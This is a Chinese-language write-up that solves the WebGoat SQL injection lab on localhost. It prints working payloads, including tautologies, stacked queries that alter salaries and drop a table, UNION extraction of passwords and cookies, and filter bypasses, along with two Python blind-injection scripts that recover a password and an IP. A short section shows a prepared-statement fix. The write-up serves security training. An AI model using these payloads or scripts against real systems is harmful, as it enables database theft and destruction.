(1)SqlInjectionLesson2
参数query未经过滤并直接调用executeQuery来执行SQL语句并判断结果是否与"Marketing"相同
直接输入SQL语句
SELECT department FROM employees WHERE first_name='Bob' and last_name='Franco';
与SqlInjectionLesson2类似,不过调用的是executeUpdate来更新记录,这里不再叙述
UPDATE employees SET department='Sales' WHERE first_name='Tobi' and last_name='Barnett'
该处SQL注入是由于动态拼接而造成的,在前端传入相应的参数account 、operator 、 injection拼接成accountName并传入query中作为SQL语句的一部分,最后直接放到executeQuery中执行
只要将Payload设置为Smith' or '1'='1就可以爆出所有记录
查看代码可知,虽然是通过预编译绑定参数来查询,不过还是遗漏了参数accountName,因此造成注入
使用Login_Count:1,User_Id:1 or 1=1即可
同样是拼接造成的注入
使用1' or '1'='1、1' or '1'='1即可
篡改Smith的薪水,直接对auth_tan进行操作,可以进行堆叠注入
使用Smith、3SL99A';UPDATE employees SET salary=200000 WHERE last_name='Smith即可
要求删除ccess_log表,这里闭合%'即可进行堆叠注入
%';drop table access_log--+
这里强制我们使用UNION进行联合注入
观察表的结构
通过Dave' union select userid,user_name,password,cookie,null,null,null from user_system_data--+攻击成功
看到登录页面的代码SqlInjectionChallengeLogin,经过预编译进行查询,因此该处不存在SQL注入
看到注册页面的代码SqlInjectionChallenge,将username_reg参数拼接到SQL查询语句中,因此存在注入,而在insert语句中由于使用预编译而不存在SQL语句
题目要求以tom的身份去登录,那么只能从username_reg入手,假如在注册时输入的用户名存在,那么会通过attackResult返回类似user exists等信息,加入不存在则会返回"Something went wrong"
利用这个特征可以进行盲注,编写脚本
import requests
url = "http://localhost:8080/WebGoat/SqlInjection/challenge"
headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", "Cookie": "JSESSIONID=6AC3F0F7E7E484612C078B29D65FE54B",}
tom_password = ''
length = 1
for i in range(1, 30):
payload_one = "tom' and length(password)="+str(i)+"--+"
formdata_one = {
"username_reg": payload_one,
"email_reg": "tom@qq.com",
"password_reg": "tom",
"confirm_password_reg": "tom",
}
response_one = requests.put(url, data = formdata_one, headers = headers)
if(response_one.text.find("already exists")!=-1):
length = i
print("密码长度为:"+str(length))
for k in range(1, length+1):
for g in range(33, 128):
payload_two = "tom' and ascii(substring(password,"+str(k)+",1))="+str(g)+"--+"
formdata_two = {
"username_reg": payload_two,
"email_reg": "tom@qq.com",
"password_reg": "tom",
"confirm_password_reg": "tom",
}
response_two = requests.put(url, data = formdata_two, headers = headers)
if(response_two.text.find("already exists")!=-1):
tom_password = tom_password + chr(g)
print(tom_password)
break
得到密码thisisasecretfortomonly
要求完成预编译代码来防止SQL注入
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
PreparedStatement ps = conn.prepareStatement("SELECT status FROM users WHERE name=? AND mail=?");
ps.setString(1,name);
ps.setString(2,mail);
将传入的userid_sql_only_input_validation的内容赋予userId并使用contains函数过滤了空格
调用SqlInjectionLesson6a中的injectableQuery方法
追踪injectableQuery方法,发现需要使用联合查询来进行注入
(1)用多行注释/**/绕过√
(2)空白字符绕过(%20 %09 %0a %0b %0c %0d %a0 %00等)√
(3)括号绕过√
(4)反引号`×
(5)两个空格×
使用payload
Dave'/**/union/**/select/**/userid,user_name,password,cookie,null,null,null/**/from/**/user_system_data--+
替换SELECT和FROM为空并且过滤了空格,这里可以进行双写绕过
使用payload
Dave'/**/union/**/seselectlect/**/userid,user_name,password,cookie,null,null,null/**/frfromom/**/user_system_data--+
很明显通过预编译该处位置不存在SQL注入
但来到Servers类中,发现有个column参数进行了拼接
点击hostname
发现传递了column参数
GET /WebGoat/SqlInjectionMitigations/servers?column=hostname HTTP/1.1
Host: localhost:8080
Connection: keep-alive
sec-ch-ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:8080/WebGoat/start.mvc
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=fhtv6vxLamYS9xqAPbuGYtnBJSa_bdU8nf2EWiOG
?column=IF(1=1,hostname,ip) //通过hostname字段排序
?column=IF(1=2,hostname,ip) //通过ip字段排序
直接爆出了表名
?column=(CASE+WHEN+(1=1)+THEN+hostname+ELSE+ip+END) 通过hostname字段排序
?column=(CASE+WHEN+(1=2)+THEN+hostname+ELSE+ip+END) 通过ip字段排序
Payload:
(CASE+WHEN(substring((SELECT+ip+FROM+servers+WHERE+hostname='webgoat-prd'),1,1)='x')+THEN+hostname+ELSE+ip+END)--+
使用脚本
import requests;
url = "http://localhost:8080/WebGoat/SqlInjection/servers"
header = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36",
"Cookie": "JSESSIONID=AD062CE450CC2BBBAAB0659602BC33C3; csrftoken=4nKw4GEaA5eXuGY2017PlASSo2SLXdl4zcwnOdQd8ldzZfN8FAR6H9nFuUdZMTNq",}
get_ip = ''
for n in range(1,4):
for i in range(48,58):
payload = "(CASE WHEN(ascii(substr((SELECT ip FROM servers WHERE hostname='webgoat-prd'),"+str(n)+",1))="+str(i)+") THEN ip ELSE hostname END)--+"
data = {
"column": payload,
}
response = requests.get(url, params = data, headers = header)
if(response.text.find('"ip" : "192.168.2.1"', 50, 80)!=-1):
get_ip = get_ip + chr(i)
print(get_ip)
break
得到前三位ip为104